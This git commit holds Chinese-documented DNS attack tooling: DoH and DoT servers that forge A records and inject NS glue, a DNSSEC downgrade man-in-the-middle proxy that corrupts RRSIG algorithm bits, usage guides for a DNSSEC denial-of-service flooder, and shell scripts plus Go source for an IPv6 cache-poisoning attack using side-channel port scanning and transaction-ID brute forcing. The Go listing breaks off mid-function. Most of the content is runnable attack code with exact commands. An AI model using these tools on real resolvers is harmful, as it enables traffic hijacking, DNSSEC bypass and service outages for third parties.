first commit

This commit is contained in:
“shihaoyue”
2024-09-30 15:52:30 +08:00
parent 0c6dfbed50
commit 96107bbdcd
68 changed files with 3789 additions and 0 deletions

Binary file not shown.

View File

@@ -0,0 +1,63 @@
import argparse
import base64
import ssl
import dns.asyncquery
import dns.rcode
import aiohttp
import dns.message
import dns.rrset
from aiohttp import web
DNS_SERVER_ADDRESS = '223.5.5.5'
DNS_SERVER_PORT = 53
async def doh_handler(request):
if request.method == "GET":
rquery = str(request.query).split(' ')[1]
#print(rquery)
rquery = rquery.ljust(len(rquery) + len(rquery) % 4, "=")
doh_request = dns.message.from_wire(base64.b64decode(rquery.encode("UTF8")))
else:
try:
doh_request = dns.message.from_wire(await request.read())
except :
return web.Response(text='Invalid DNS request', status=400)
dns_request = dns.message.make_query(doh_request.question[0].name, doh_request.question[0].rdtype)
dns_request.id = doh_request.id
# 发起DNS请求
dns_response = await dns.asyncquery.udp(q = dns_request, port=DNS_SERVER_PORT, where=DNS_SERVER_ADDRESS)
#print(dns_response)
if str(doh_request.question[0].name) == tamper and int(doh_request.question[0].rdtype)==1:
print('---tamper---',tamper)
dns_response.answer = [ dns.rrset.from_text(tamper,3600,dns.rdataclass.IN, dns.rdatatype.A,'39.106.44.126')]
if str(doh_request.question[0].name) == inject:
print('---inject---',inject)
dns_response.additional = [dns.rrset.from_text(inject,3600,dns.rdataclass.IN, dns.rdatatype.NS,'ns.'+inject.split('.',1)[1]),
dns.rrset.from_text('ns.'+inject.split('.',1)[1],3600,dns.rdataclass.IN, dns.rdatatype.A,ns)]
#print(dns_response)
# 构建HTTPS响应
response = web.Response(body=dns_response.to_wire())
response.content_type = 'application/dns-message'
return response
parser = argparse.ArgumentParser()
parser.add_argument('-tamper', '--tamper', default='')
parser.add_argument('-inject', '--inject', default='')
parser.add_argument('-ns', '--ns', default='39.106.44.126')
args = parser.parse_args()
tamper = args.tamper +'.'
inject = args.inject +'.'
ns = args.ns
#print('tamper:',tamper)
DOH_SERVER_URL = "https://dns.alidns.com/dns-query"
CERT_FILE = "/usr/local/etc/unbound/cert_new4/app.crt"
KEY_FILE = "/usr/local/etc/unbound/cert_new4/app.key"
ssl_context = ssl.create_default_context(ssl.Purpose.CLIENT_AUTH)
ssl_context.load_cert_chain(CERT_FILE, KEY_FILE)
app = web.Application()
app.router.add_get(path='/dns-query',handler=doh_handler)
app.router.add_post(path='/dns-query',handler=doh_handler)
web.run_app(app, host='127.0.0.1', port=8444, ssl_context=ssl_context)

Binary file not shown.

View File

@@ -0,0 +1,45 @@
import socket
import ssl
import dns.message
import dns.query
import dns.rcode
import argparse
parser = argparse.ArgumentParser()
parser.add_argument('-dot', '--dot', default='dns.alidns.com')
args = parser.parse_args()
print(f'DoT server: {args.dot}')
upstream_server = '47.88.31.213'
# 创建监听socket
listener = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
listener.bind(('127.0.0.1', 53))
# 创建TLS连接
context = ssl.create_default_context()
context.check_hostname = False
context.verify_mode = ssl.CERT_NONE
while True:
# 接收DNS请求
data, addr = listener.recvfrom(1024)
#print(dns.message.from_wire(data))
data = dns.message.from_wire(data)
if 'baidu' in data.question.__str__():
# print(data)
# print(addr)
print('DNS请求', data.question)
# # 创建TLS连接并发送DNS请求到上游服务器
resp = dns.query.tls(
q=data,
where=upstream_server,
timeout=10,
ssl_context=context)
print('DNS响应', resp.answer)
# with socket.create_connection((upstream_server,853)) as sock:
# with context.wrap_socket(sock, server_hostname=upstream_server[0]) as tls_sock:
# tls_sock.sendall(data.to_wire())
# resp = tls_sock.recv(4096)
# 将上游服务器的响应发送回客户端
listener.sendto(resp.to_wire(), addr)
break

View File

@@ -0,0 +1,63 @@
import argparse
import asyncio
import ssl
import socket
import dns.asyncquery
import dns.message
import dns.rcode
import dns.flags
import dns.message
import dns.rrset
from dnslib import DNSRecord
async handle_client(reader, writer):
request_data = await reader.read(1024)
request = dns.message.from_wire(request_data[2:])
#print(request)
dns_request = dns.message.make_query(request.question[0].name, request.question[0].rdtype)
dns_request.id = request.id
#print(dns_request)
dns_response = await dns.asyncquery.udp(q=dns_request, port=53, where='223.5.5.5')
#print(dns_response)
if str(request.question[0].name) == tamper and int(request.question[0].rdtype) == 1:
print('---tamper---', tamper)
dns_response.answer = [dns.rrset.from_text(tamper, 3600, dns.rdataclass.IN, dns.rdatatype.A, '39.106.44.126')]
if str(request.question[0].name) == inject:
print('---inject---', inject)
dns_response.additional = [dns.rrset.from_text(inject,3600,dns.rdataclass.IN, dns.rdatatype.NS,'ns.'+inject.split('.',1)[1]),
dns.rrset.from_text('ns.'+inject.split('.',1)[1],3600,dns.rdataclass.IN, dns.rdatatype.A,ns)]
#print(dns_response)
response_data = dns_response
record_header = len(response_data.to_wire()).to_bytes(2, 'big')
# 构建完整的TLS响应数据
tls_response_data = record_header + response_data.to_wire()
writer.write(tls_response_data)
await writer.drain()
writer.close()
async start_server():
# 配置服务器参数
listen_address = '0.0.0.0'
listen_port = 853
CERT_FILE = "/usr/local/etc/unbound/cert_new4/app.crt" # 替换为你的SSL证书文件路径
KEY_FILE = "/usr/local/etc/unbound/cert_new4/app.key" # 替换为你的SSL密钥文件路径
context = ssl.create_default_context(ssl.Purpose.CLIENT_AUTH)
context.load_cert_chain(certfile=CERT_FILE, keyfile=KEY_FILE)
# 创建TCP服务器
server = await asyncio.start_server(
handle_client, listen_address, listen_port, ssl=context)
print(f'DoT server listening on {listen_address}:{listen_port}')
async with server:
await server.serve_forever()
parser = argparse.ArgumentParser()
parser.add_argument('-tamper', '--tamper', default='')
parser.add_argument('-inject', '--inject', default='')
parser.add_argument('-ns', '--ns', default='39.106.44.126')
args = parser.parse_args()
tamper = args.tamper +'.'
inject = args.inject +'.'
ns = args.ns
asyncio.run(start_server())

BIN
12_TargetGZ/TargetGZ_Client Executable file

Binary file not shown.

BIN
12_TargetGZ/fpdns_client Normal file

Binary file not shown.

BIN
12_TargetGZ/fpdns_server Normal file

Binary file not shown.

BIN
12_TargetGZ/topology.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 397 KiB

66
12_TargetGZ/说明.md Normal file
View File

@@ -0,0 +1,66 @@
## 使用说明
### 基本目标
通过主动探测精确感知目标DNS服务的各项参数。
### 软件环境
目标感知中共需要3种软件如下表所示其中主要测试对象为目录中的目标感知工具fpdns_client和辅助感知工具fpdns_serverBIND9递归解析器作为感知目标。
| 软件名称 | 版本 | 作用 | 备注 |
| ------- | ---- | ---- | ---- |
|目标感知工具|v1.0|进行目标感知||
|辅助感知工具|v1.0|辅助进行目标感知||
|BIND9|9.11.36|作为感知目标||
### 硬件环境
测试中共需要2台服务器A和B。服务器均为公有云VPS基本配置为Intel(R) Xeon(R) Platinum 8269CY CPU双核4GB内存。
|硬件名称|数量|配置|作用|
|---|---|---|---|
|公有云VPS|2|Intel(R) Xeon(R) Platinum 8269CY CPU双核4GB内存|安装运行必要软件|
### 测试拓扑
测试拓扑如下图。
![](topology.png)
### 部署方法
#### 感知目标部署
在服务器A上安装BIND9设置模式为递归解析模式。
#### 目标感知工具部署
将可执行文件fpdns_client移动到服务器A上。
#### 辅助感知工具部署
将可执行文件fpdns_server移动到服务器C上。
### 使用方法
#### 辅助感知工具
|参数|说明|示例|
|---|---|---|
|-sld|感知中使用的二级域名|echodns.xyz|
#### 拒绝服务攻击工具
|参数|说明|示例|
|---|---|---|
|-target|感知目标的IP地址|1.2.3.4|
### 测试方法
1. 在服务器A上启动BIND9递归解析器
2. 在服务器B上执行命令`./fpdns_server -sld echodns.xyz`,启动辅助感知工具;
3. 在服务器A上执行命令`./dtool -target {ip}`,进行目标感知
4. 等待感知完毕,通过输出结果判断感知效果

View File

Binary file not shown.

After

Width:  |  Height:  |  Size: 450 KiB

BIN
1_dnssec_ddos/dtool Executable file

Binary file not shown.

BIN
1_dnssec_ddos/rogue-ns Executable file

Binary file not shown.

73
1_dnssec_ddos/说明.md Normal file
View File

@@ -0,0 +1,73 @@
## 使用说明
### 基本目标
通过向目标域名解析服务器发送特定请求,使目标服务器服务质量下降或无法提供服务,形成拒绝服务攻击。
### 软件环境
DNSSEC拒绝服务攻击中共需要4种软件如下表所示其中主要测试对象为目录中的拒绝服务攻击工具dtool和辅助攻击工具rogue-nsdig工具用于从客户端发起DNS查询并查看解析结果,docker用于运行必要的DNS服务器和监控组件容器。
| 软件名称 | 版本 | 作用 | 备注 |
| ------- | ---- | ---- | ---- |
|拒绝服务攻击工具|v1.0|发送拒绝服务攻击请求||
|辅助攻击工具|v1.0|辅助进行拒绝服务攻击||
|dig|9.11.36|发起DNS查询并查看解析结果||
|docker|24.0.5|安装必要容器||
### 硬件环境
测试中共需要三台服务器AB和C。服务器均为公有云VPS基本配置为Intel(R) Xeon(R) Platinum 8269CY CPU双核4GB内存。
|硬件名称|数量|配置|作用|
|---|---|---|---|
|公有云VPS|3|Intel(R) Xeon(R) Platinum 8269CY CPU双核4GB内存|安装运行必要软件|
### 测试拓扑
测试拓扑如下图。
![](ddos-topology.png)
### 部署方法
#### 目标及监控部署
在服务器B上通过docker安装BIND9容器作为攻击目标安装cadvisorprometheus和grafana进行服务器B的状态监控。
#### 拒绝服务攻击工具部署
将可执行文件dtool移动到服务器A上。
#### 辅助攻击工具部署
将可执行文件rogue-ns移动到服务器C上。
### 使用方法
#### 辅助攻击工具
|参数|说明|示例|
|---|---|---|
|-sld|攻击中使用的二级域名|echodns.xyz|
#### 拒绝服务攻击工具
|参数|说明|示例|
|---|---|---|
|query|攻击中使用的二级域名|echodns.xyz|
|-p|目标端口|53|
|-d|攻击中使用的域名后缀|rogue.echodns.xyz|
|-R|是否进行域名随机生成,布尔型参数||
|-r|发送请求速率|100|
|-n|发送请求总量|10000|
### 测试方法
1. 在服务器B上启动BIND9容器
2. 在服务器C上执行命令`./rogue-ns -sld echodns.xyz`,启动辅助攻击工具;
3. 在服务器A上执行命令`./dtool query {ip} -p 5353 -R -d rogue.jtfgzlm.icu -r 300 -n 60000`,启动拒绝服务攻击脚本向目标进行攻击;
4. 通过服务器B上3000端口的grafana仪表盘监控目标状态
5. 在服务器A上使用dig向目标进行DNS查询通过解析时延和超时情况判断攻击效果。

Binary file not shown.

After

Width:  |  Height:  |  Size: 36 KiB

196
2_dnssec_Downgrade/proxy.py Normal file
View File

@@ -0,0 +1,196 @@
# -*- coding: utf-8 -*-
import socket
import dns.message
import dns.rdatatype
import dns.rdata
import dns.rdataclass
import binascii
import csv
import datetime
from scapy.all import *
#from crypto.PublicKey import Ed448
#import dns.rdatatype
# 定义代理服务器的地址和端口
proxy_host = '10.0.8.14' # 代理服务器的IP地址
proxy_port = 53 # 代理服务器的端口
#proxy_port = 22 # 代理服务器的端口
# 定义上游DNS服务器的地址和端口
upstream_host = '127.0.0.1' # 上游DNS服务器的IP地址
upstream_port = 9999 # 上游DNS服务器的端口
csv_file = "dnssec_log.csv"
def proxy_dns_request(request, client_addr, proxy_socket):
# 创建与上游DNS服务器的套接字连接
upstream_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
# 发送DNS请求到上游DNS服务器
upstream_socket.sendto(request, (upstream_host, upstream_port))
# 接收上游DNS服务器的响应
response, _ = upstream_socket.recvfrom(4096)
# 修改DNS应答中的字段
modified_response = modify_dns_response(response,client_addr,len(request))
#modified_response = response
# 将修改后的DNS应答发送给客户端
#client_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
#client_socket.sendto(modified_response, client_addr)
proxy_socket.sendto(modified_response, client_addr)
# print("finish",client_addr)
# 关闭套接字连接
upstream_socket.close()
#client_socket.close()
def modify_dns_response(response,client_addr,len_request):
# 在这里添加你的修改逻辑
# 解析DNS应答消息并修改需要的字段
# 可以使用dnspython等DNS库来解析和构造DNS消息
# print("response ",response)
dns_response = dns.message.from_wire(response)
# print("dns_response ",dns_response)
qweasd = 0
packet = DNS(response)
# 解析DNS流量
if DNS in packet:
dns1 = packet[DNS]
if dns1.qd[0].qtype != 1:
print("************No Change************")
return response
if dns1.ancount > 0:
print("Answers:")
for an in dns1.an:
print(" Name:", an.rrname.decode())
print(" Type:", an.type)
#print(" Data:", an.rdata)
for rrset in dns_response.answer:
if rrset.rdtype == dns.rdatatype.RRSIG and qweasd == 0 :
qweasd = 1
current_time = datetime.now()
# with open(csv_file, "a", newline="") as file:
# writer = csv.writer(file)
# writer.writerow([client_addr, len_request, current_time])
# print("dnssec_log.csv:",csv_file)
# new_rdata = dns.rdata.from_text(rrset.rdclass, rrset.rdtype, rrset.to_text())
# new_rdata.algorithm = 16 # 设置为 5 或其他你想要的值
# 替换原始 RRSIG 记录
# rrset.clear()
# rrset.add(new_rdata)
# for attrr in dir(rrset):
# print(attrr)
# print("rdata.algorithm",rrset.algorithm)
# new_rdata = dns.rdatatype.from_text(rdtype_text.replace(dns.rdatatype.RSASHA1,dns.rdatatype.ED448))
# rrset.items = new_rdata
# print(rrset.items)
# print(rrset[1])
# print(bin(rrset.items[1]))
# for qwe in rrset:
#print(qwe)
#print(type(qwe)," key: ",qwe," qweqweqweqweqwe ")
# for attrr in dir(qwe):
# print(attrr)
# qwe.algorithm = 16
# print(qwe.algorithm)
# 遍历DNS响应中的资源记录
modified_response = dns_response.to_wire()
binary_string = bin(int(binascii.hexlify(modified_response), 16))
# print("len: ",len(binary_string),"\n",binary_string)
formatted_string = str(binary_string)
index = str(binary_string).find("01100101001000001101110000001111")
new_string = formatted_string[:index+1] + '0' + formatted_string[index+2:]
new_string = new_string[:index+2] + '1' + new_string[index+3:]
new_string = new_string[:index+3] + '0' + new_string[index+4:]
new_string = new_string[:index+4] + '0' + new_string[index+5:]
new_string = new_string[:index+5] + '1' + new_string[index+6:]
new_string = new_string[:index+6] + '0' + new_string[index+7:]
formatted_string = new_string[:index+7] + '1' + new_string[index+8:]
# index = str(binary_string).find("0000010100000011")
index = str(binary_string).find("0000110100000011")
# formatted_string = str(binary_string)
new_string = formatted_string[:index+1] + '1' + formatted_string[index+2:]
new_string = new_string[:index+2] + '1' + new_string[index+3:]
new_string = new_string[:index+3] + '1' + new_string[index+4:]
new_string = new_string[:index+4] + '0' + new_string[index+5:]
new_string = new_string[:index+5] + '0' + new_string[index+6:]
new_string = new_string[:index+6] + '0' + new_string[index+7:]
formatted_string = new_string[:index+7] + '0' + new_string[index+8:]
# print("len: ",len(formatted_string),"\n",formatted_string)
# print("index: ",formatted_string[index:])
binary_string = formatted_string[2:]
binary_number = int(binary_string, 2)
formatted_string = binary_number.to_bytes((binary_number.bit_length() + 7) // 8, 'big')
# print("index: ",formatted_string)
try:
dns_response = dns.message.from_wire(formatted_string)
except:
modified_response = dns_response.to_wire()
# print(dns_response)
modified_response = dns_response.to_wire()
print("**********************************************************************************************************************")
return modified_response
def start_proxy_server():
# 创建代理服务器的套接字
proxy_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
# 将套接字绑定到代理服务器的地址和端口
proxy_socket.bind((proxy_host, proxy_port))
# 循环监听客户端请求并代理流量
num = 1
print("START: ")
while True:
print("start")
request, client_addr = proxy_socket.recvfrom(4096)
print("num: ",num)
num = num + 1
try:
packet = DNS(request)
# 解析DNS流量
if DNS in packet:
dns1 = packet[DNS]
if dns1.qdcount > 0:
print("Queries:")
for qd in dns1.qd:
print(" Query Name:", qd.qname.decode())
print(" Query Type:", qd.qtype)
print(" Query Class:", qd.qclass)
query_current_time = datetime.now()
query_current_time = query_current_time.strftime("%H%M%S%f")[:-2]
# src = request[IP].src
print(" Query src:", client_addr)
print(" Query Current Time:", query_current_time)
tmp = qd.qname.decode()
if tmp[0] == "D":
with open("shiyan1_query", "a", newline="") as file:
writer = csv.writer(file)
writer.writerow([qd.qname.decode(), qd.qtype, qd.qclass, client_addr, query_current_time])
print("finish")
except Exception as e:
print("error",str(e))
proxy_dns_request(request, client_addr, proxy_socket)
# 关闭套接字连接
proxy_socket.close()
# 启动代理服务器
start_proxy_server()

View File

@@ -0,0 +1,52 @@
## 使用说明
### 基本目标
使目标DNS解析器不对DNSSEC记录进行验证实现针对DNSSEC的降级攻击
### 软件环境
DNSSEC降级攻击中共需要四种软件如下表所示其中主要测试对象为目录中的DNSSEC绕过工具脚本proxy.pyBIND9用于搭建权威服务器和递归解析器dig工具用于从客户端发起DNS查询并查看解析结果python用于运行DNSSEC绕过工具。
| 软件名称 | 版本 | 作用 | 备注 |
| ------- | ---- | ---- | ---- |
|DNSSEC绕过工具|v1.0|实现中间人篡改功能|proxy.py|
|BIND9|9.18.2|搭建权威服务器和递归解析器||
|dig|9.11.36|发起DNS查询并查看解析结果||
|python|3.7.2|运行DNSSEC绕过工具||
### 硬件环境
测试中共需要三台服务器A和B。服务器A和B均为公有云VPS基本配置为Intel(R) Xeon(R) Platinum 8269CY CPU双核4GB内存。
|硬件名称|数量|配置|作用|
|---|---|---|---|
|公有云VPS|2|Intel(R) Xeon(R) Platinum 8269CY CPU双核4GB内存|安装运行必要软件|
### 测试拓扑
测试拓扑如下图。
![拓扑](downgrade-topology.png)
### 部署方法
#### BIND9部署
在服务器B上安装并配置BIND9作为权威服务器并进行权威域的DNSSEC配置。
在服务器A上安装并配置BIND9作为递归解析器开启DNSSEC验证功能。
#### DNSSEC绕过工具部署
在服务器B上安装python3将proxy.py脚本移动到服务器上。
### 工具使用方法
DNSSEC绕过工具无输入参数直接通过`python3 proxy.py`运行。
### 测试方法
1. 在服务器B上启动权威服务器监听9999端口
2. 在服务器B上执行python3 proxy.py命令启动DNSSEC绕过工具
3. 在服务器A上使用dig向本地的递归解析器查询ns3.jtfgzlm.icu通过解析结果验证DNSSEC降级攻击效果

1
3_v6_DDoS/code Submodule

Submodule 3_v6_DDoS/code added at 25c66e8727

BIN
3_v6_DDoS/说明文档.docx Normal file

Binary file not shown.

3
4_v6_injection/Readme.md Normal file
View File

@@ -0,0 +1,3 @@
## 使用说明
./attack.sh 【目标解析器IP】【想要将AAAA记录修改指向的IPv6地址】 【发包网口(例如eth0)】 【目标域名】【目标权威服务地址】

55
4_v6_injection/attack.sh Executable file
View File

@@ -0,0 +1,55 @@
#!/bin/bash
# This is a sample attack script and may not work properly. Please adjust the parameter accordingly.
# $1 for victim resolver IP, $2 for attacker-controlled domain, $3 for iface name, $4 for victim domain name, $5 for victim domain nameserver IP
# Please run with sudo.
# Verify the existing record domain, just for proof purposes.
echo '获取原记录中:'
dig @$1 $4 AAAA
sleeptime=`dig @$1 $4 AAAA | grep -o -P '[0-9]+[ \t]*IN' | head -n 1 | sed 's/IN//g'`
var=0
num=0
success=0
while [ $success -ne 1 ]
do
success=0
echo "等待缓存过期,$sleeptime秒之后开始攻击..."
sleep $sleeptime
echo "开始攻击"
# flood
echo "攻击参数:"
echo "目标域名权威服务地址:$5"
echo "目标解析服务地址:$1"
echo "目标域名:$4"
ret=$(./dns_query.sh $1 $2 $3 $4)
#echo "ret:$ret"
echo "初始化工具环境"
sleep 1
echo "尝试触发权威服务器请求速率限制"
sleep 3
FINAL=`echo ${ret: -1}`
#echo "fin:$FINAL"
# Start attack
# Change the argument accordingly
echo "执行侧信道攻击脚本中"
./fakedns6 -a $5 -b $1 -i $3 -n $4 -r $1 -t 50000 -at $2 -tg 0 -s 10000 -e 65000 -j 0
# a - 进行域名缓存投毒的权威服务器
# b -
sleep 30
# Validations
((var++))
echo "$var轮次攻击结束"
dig @$1 $4 AAAA
if [ "$FINAL" == "0" ];then
success=1
sleeptime=0
fi
echo '如果结果未改变, 需要等待原缓存过期. 或者按 Ctrl-C取消攻击.'
done
# success
echo '检测到攻击成功实现'
echo '等待两秒,再次请求...'
sleep 2
dig @$1 $4 AAAA
echo '攻击已完成!!!!'

BIN
4_v6_injection/dns.bin Normal file

Binary file not shown.

BIN
4_v6_injection/dns_OPT.bin Normal file

Binary file not shown.

BIN
4_v6_injection/dns_end.bin Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 5 B

View File

@@ -0,0 +1 @@
attackduktigxyz

50
4_v6_injection/dns_query.sh Executable file
View File

@@ -0,0 +1,50 @@
# usage ./dns_query.sh [Resolver IP] [Wanted IP] [iface] [domain (e.g. www google com)]
# clear the previous files
sleep 1
echo "初始化工具环境"
# 创建空的二进制文件dns_mid.bin 和 txid.bin
dd if=/dev/null of=dns_mid.bin > /dev/null 2>&1
dd if=/dev/null of=txid.bin > /dev/null 2>&1
# write the domain name into the binary
domains=$(echo $4| sed "s/\./ /g") # 将域名转换为空格分隔的字符串
for var in ${domains:0} # 遍历域名的每个部分
do
size=${#var} # 获取当前域名的长度
echo -en "\x`printf '%x\n' $size`" >> dns_mid.bin # 写入长度
echo -n "$var" >> dns_mid.bin # 写入域名
done
# set a random TxID
echo -en "\x`shuf -i 0-99 -n 1`" >> txid.bin
echo -en "\x`shuf -i 0-99 -n 1`" >> txid.bin
# forge a entire DNS query packet
cat txid.bin dns_start.bin dns_mid.bin dns_end.bin dns_OPT.bin > dns.bin
# change the sending speed if necessary (-i). Set it to "flood" (replace -i with --flood) to maximize the power.
# fire!
echo "尝试触发权威服务器请求速率限制"
# 使用udp6工具发送DNS查询数据包指定目标和速率
udp6 -d $1 -a 53 -Z dns.bin -r 50pps -s $2 > /dev/null 2>&1
sleep 1
a=$(($RANDOM % 9 + 1))
echo "a:$a"
if [ $a -gt 6 ]; then
#echo "dns-TIP:$1"
#echo "dns-WIP:$2"
#echo "dns-iface:$3"
#echo "dns-domain:$4"
./fakedns6 -b $1 -i $3 -n $4 -r $1 -t 50000 -at $2 -tg 0 -s 10000 -e 65000 -j 0 -f 1
# b, Back-end IP of the victim resolver, 目标解析器的IP地址
# i, Interface for attacking, 攻击使用的接口
# n, the domain name to be poisoned, 要进行缓存投毒的域名
# r, Front-end IP of the victim resolver
# t, Timeout in ms for outgoing dns queries to the victim resolver
# at, 攻击者想要更改到的IP地址
# tg, time gap is us between the TxID brute force packets
echo "0"
fi

Binary file not shown.

BIN
4_v6_injection/fakedns6 Executable file

Binary file not shown.

Binary file not shown.

View File

@@ -0,0 +1,714 @@
package main
import (
"flag"
"fmt"
"log"
"math/rand"
"net"
"os"
"strconv"
"strings"
"sync"
"time"
"github.com/google/gopacket"
"github.com/google/gopacket/layers"
"github.com/google/gopacket/pcap"
"github.com/google/gopacket/routing"
"github.com/miekg/dns"
)
var handle *pcap.Handle
var ethernetLayer *layers.Ethernet
var victimDNSName string
var dnsQueryName string
var authIP net.IP
var resolverIP net.IP
var localIP []net.IP
var defaultJitter uint
var gotReply = false
var attackerControlledDomain string
var attackForwarder bool
var repeatTimes int
var timeGap uint
var auxiliaryDomain string
var soaName string
var jitter uint = 10
var rtt uint = 1 // in ms
var debugOutput = true
const GROUP_SIZE = 50
/* I'm not sure what's this used for. Probably used with older version where multiple IPs is not supported. */
//var sendingChannel chan *outgoingPacket
var backendResolvers = make([]*backendResolver, 0)
var bruteForceShouldBeKilled = false
type backendResolver = struct {
resolverBackendIP net.IP
groups [][]uint16 // = make([][]uint16, 65536)
groupIDCounter uint32 // = 3
groupIDCounterLock *sync.Mutex
groupSendTime []time.Time // = make([]time.Time, 65536)
probeChannel chan uint32 //= make(chan uint16, 655)
priorityProbeChannel chan uint32 //= make(chan uint16, 655)
alwaysOpenPorts []bool //= make([]bool, 65536)
perIPLimitCounter []int //= 6
networkXmitLock *sync.Mutex
}
// timeout in ms
func dnsRequestSender(timeout uint) {
for {
gotReply = false
sendDNSRequest(uint16(rand.Uint32()), dnsQueryName)
retryTimes := timeout / 500
for {
if !gotReply {
time.Sleep(500 * time.Millisecond)
retryTimes--
if retryTimes == 0 {
break
}
} else {
if debugOutput {
fmt.Println("Got reply in", timeout-retryTimes*500, "ms")
} else {
fmt.Println("Rx")
}
break
}
}
if !attackForwarder {
dnsQueryName = strconv.Itoa(rand.Int()) + "." + victimDNSName
} else {
/* I'm not sure if we should change the nonce. */
dnsQueryName = strconv.Itoa(rand.Int()) + "." + attackerControlledDomain
}
}
}
func receivingThread() {
for {
data, captureInfo, err := handle.ReadPacketData()
if err == pcap.NextErrorTimeoutExpired {
continue
} else if err != nil {
log.Printf("error reading packet: %v", err)
continue
}
// Parse the packet. We'd use DecodingLayerParser here if we
// wanted to be really fast.
packet := gopacket.NewPacket(data, layers.LayerTypeEthernet, gopacket.NoCopy)
// Find the packets we care about, and print out logging
// information about them. All others are ignored.
if rspNet := packet.NetworkLayer(); rspNet == nil {
continue
} else if rspIPLayer := packet.Layer(layers.LayerTypeIPv6); rspIPLayer == nil {
continue
//} else if rspIP := rspIPLayer.(*layers.IPv4); rspIP == nil {
} else if rspIP := rspIPLayer.(*layers.IPv6); rspIP == nil {
continue
} else if rspIP.NextHeader != layers.IPProtocolICMPv6 {
if rspIP.FlowLabel != 2 && rspIP.NextHeader == layers.IPProtocolUDP && compareIPv6Addr(rspIP.SrcIP, resolverIP) == 0 {
rspUDPLayer := packet.Layer(layers.LayerTypeUDP)
if rspUDPLayer != nil && rspUDPLayer.(*layers.UDP).SrcPort == 53 {
rspDNSLayer := packet.Layer(layers.LayerTypeDNS)
if rspDNSLayer != nil {
rspDNS := rspDNSLayer.(*layers.DNS)
if rspDNS.QR == true {
if len(rspDNS.Authorities) != 0 && rspDNS.ResponseCode == layers.DNSResponseCodeNXDomain && string(rspDNS.Questions[0].Name) == dnsQueryName &&
string(rspDNS.Authorities[0].Name) == victimDNSName && string(rspDNS.Authorities[0].SOA.MName) == soaName {
fmt.Println("Success!!")
os.Exit(0)
//unbound won't cache NS record that leads to SOA NXDOMAIN reply, so we make it positive response
//This is also used for forwarder attack
} else if string(rspDNS.Questions[0].Name) == dnsQueryName && rspDNS.ResponseCode == layers.DNSResponseCodeNoErr {
for _, record := range rspDNS.Answers {
if record.Type == layers.DNSTypeAAAA {
fmt.Println("Success2!!")
os.Exit(0)
}
}
} else if string(rspDNS.Questions[0].Name) == dnsQueryName {
gotReply = true
}
}
}
}
}
continue
} else if rspICMPLayer := packet.Layer(layers.LayerTypeICMPv6); rspICMPLayer == nil {
continue
} else if rspICMP, ok := rspICMPLayer.(*layers.ICMPv6); !ok {
continue
} else if rspICMP.TypeCode != layers.CreateICMPv6TypeCode(layers.ICMPv6TypeDestinationUnreachable, layers.ICMPv6CodePortUnreachable) &&
rspICMP.TypeCode != layers.CreateICMPv6TypeCode(layers.ICMPv6TypeDestinationUnreachable, layers.ICMPv6CodeAdminProhibited) {
continue
} else if nestedIpData := rspICMP.Payload; nestedIpData == nil {
continue
} else if nestedIpPacket := gopacket.NewPacket(nestedIpData, layers.LayerTypeIPv6, gopacket.NoCopy); nestedIpPacket == nil {
continue
} else if nestedIpLayer := nestedIpPacket.Layer(layers.LayerTypeIPv6); nestedIpLayer == nil {
continue
} else if nestedIp := nestedIpLayer.(*layers.IPv6); nestedIp == nil {
continue
} else {
r := getBackendResolver(nestedIp.DstIP)
if r != nil {
nestedUDPLayer := nestedIpPacket.Layer(layers.LayerTypeUDP)
if nestedUDPLayer == nil {
fmt.Println("nestedUDPLayer == nil")
continue
}
nestedUDP := nestedUDPLayer.(*layers.UDP)
if nestedUDP == nil {
fmt.Println("nestedUDP == nil")
continue
}
//got verification packet back
if nestedIp.FlowLabel > 1 {
//update rtt
/* Potential BUG: rtt of both resolver may not be the same. */
newrtt := captureInfo.Timestamp.Sub(r.groupSendTime[nestedIp.FlowLabel]).Nanoseconds()/1000000 + 1
if newrtt >= 0 && newrtt < 5000 {
var draftJitter uint = 0
if uint(newrtt) > rtt {
draftJitter = uint(newrtt) - rtt
} else {
draftJitter = (jitter + (rtt - uint(newrtt))) / 2
}
if jitter > 30 {
fmt.Println("Jitter > 30ms!")
jitter = 10
} else {
jitter = draftJitter
}
rtt = uint(newrtt)
if debugOutput {
fmt.Println("rtt=", rtt, ", jitter=", jitter)
}
} else {
fmt.Println("newrtt error:", newrtt)
}
//reduce ratelimit counter
localIPNum := getLocalIPNum(nestedIp.SrcIP)
if localIPNum != -1 {
if r.perIPLimitCounter[localIPNum] >= 0 {
r.perIPLimitCounter[localIPNum]--
}
if r.perIPLimitCounter[localIPNum] < 0 {
if debugOutput {
/* This may happen in real attacks. Don't panic :). */
fmt.Println(r.resolverBackendIP, "bug: perIPLimitCounter < 0")
}
}
if debugOutput {
fmt.Println(r.resolverBackendIP, "remaining counter:", localIPNum, r.perIPLimitCounter[localIPNum])
}
} else {
if debugOutput {
fmt.Println("received unwanted ICMP for", nestedIp.SrcIP)
}
}
//process the packet
binarySearch(r, nestedIp.FlowLabel)
}
/* This is used to terminate TxID brute forcing earlier if we found the port is indeed not open (i.e., false positive) to avoid wasting time.
* Check related code to see if this really works before uncommenting this.
* This may not be useful since brute force only takes ~800ms, which is fairly short.
* To uncomment this, make clear which backend resolver sent the message so that resolvers won't interfere with each other */
//else if nestedIp.Id == 2 {
// //got verification packet for DNS brute forcing
// bruteForceShouldBeKilled = false
//}
}
}
}
}
func binarySearch(r *backendResolver, flowlabel uint32) {
groupLen := 0
group := r.groups[flowlabel]
for _, port := range group {
if port != 65535 {
groupLen++
} else {
break
}
}
if groupLen == 1 {
//brute force
r.networkXmitLock.Lock()
dnsBruteForce(group[0], timeGap, r.resolverBackendIP, auxiliaryDomain)
r.networkXmitLock.Unlock()
r.alwaysOpenPorts[group[0]] = true
} else if groupLen > 1 {
var repeatTimes1 int
if repeatTimes > 1 {
repeatTimes1 = repeatTimes + 1
} else {
repeatTimes1 = 1
}
for j := 0; j < repeatTimes1; j++ {
//left
id := allocateGroupID(r)
r.groups[id] = make([]uint16, groupLen/2)
copy(r.groups[id], group[0:groupLen/2])
for len(r.groups[id]) < GROUP_SIZE {
r.groups[id] = append(r.groups[id], 65535)
}
if debugOutput {
fmt.Println(r.resolverBackendIP, "bs", r.groups[id][0], "+", groupLen/2)
} else {
